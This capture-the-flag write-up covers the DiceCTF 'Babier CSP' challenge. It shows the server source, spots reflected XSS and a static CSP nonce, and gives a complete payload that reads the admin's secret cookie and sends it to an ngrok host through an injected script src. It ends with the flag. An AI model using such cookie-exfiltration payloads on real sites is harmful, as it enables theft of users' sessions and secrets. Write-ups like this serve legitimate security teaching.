Babier CSP

Given

Baby CSP was too hard for us, try Babier CSP.

babier-csp.dicec.tf

Admin Bot (link)

The admin will set a cookie secret equal to config.secret in index.js.

Admin bot to get the admin to load the link provided.

index.js:

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

Analysis

Name field seems to allow reflected XSS:

reflected xss

The CSP allows script-src with a nonce, but that nonce is static, making it useless. As we can just grab the nonce and add it to our own script tag.

scripts

The description mentioned that the admin has a secret cookie with the value of which the secret page is hosted. So we need to leak that information somehow.

Hosting a server on and trying to fetch it results in an connect-src CSP issue. But remember that script-src is ok with a nonce.

src

So if we can get the secret cookie added to the src of the script tag we would make a request to ourselves with the secret cookie in the path.

Remember that setting location in a script redirects the browser and it seems the admin bot follows redirects.

Implementation

First we need to write the code that gets the secret cookie:

cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];

Easy enough, then we need to make a redirect to the same page with the concatinated value:

location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="https://e497c588b08b.ngrok.io/'.concat(cookie).concat('" />');

Putting it all together

<script nonce=LRGWAXOY98Es0zz0QOVmag==>cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="https://e497c588b08b.ngrok.io/'.concat(cookie).concat('" />');</script>

Final payload: https://babier-csp.dicec.tf/?name=<script nonce=LRGWAXOY98Es0zz0QOVmag==>cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="https://e497c588b08b.ngrok.io/'.concat(cookie).concat('" />');</script>

admin

Accessing /4b36b1b8e47f761263796b1defd80745 gives us:


Hi! You should view source!

<!-- 

I'm glad you made it here, there's a flag!

<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>

If you want more CSP, you should try Adult CSP.

-->

Flag found! dice{web_1s_a_stat3_0f_grac3_857720}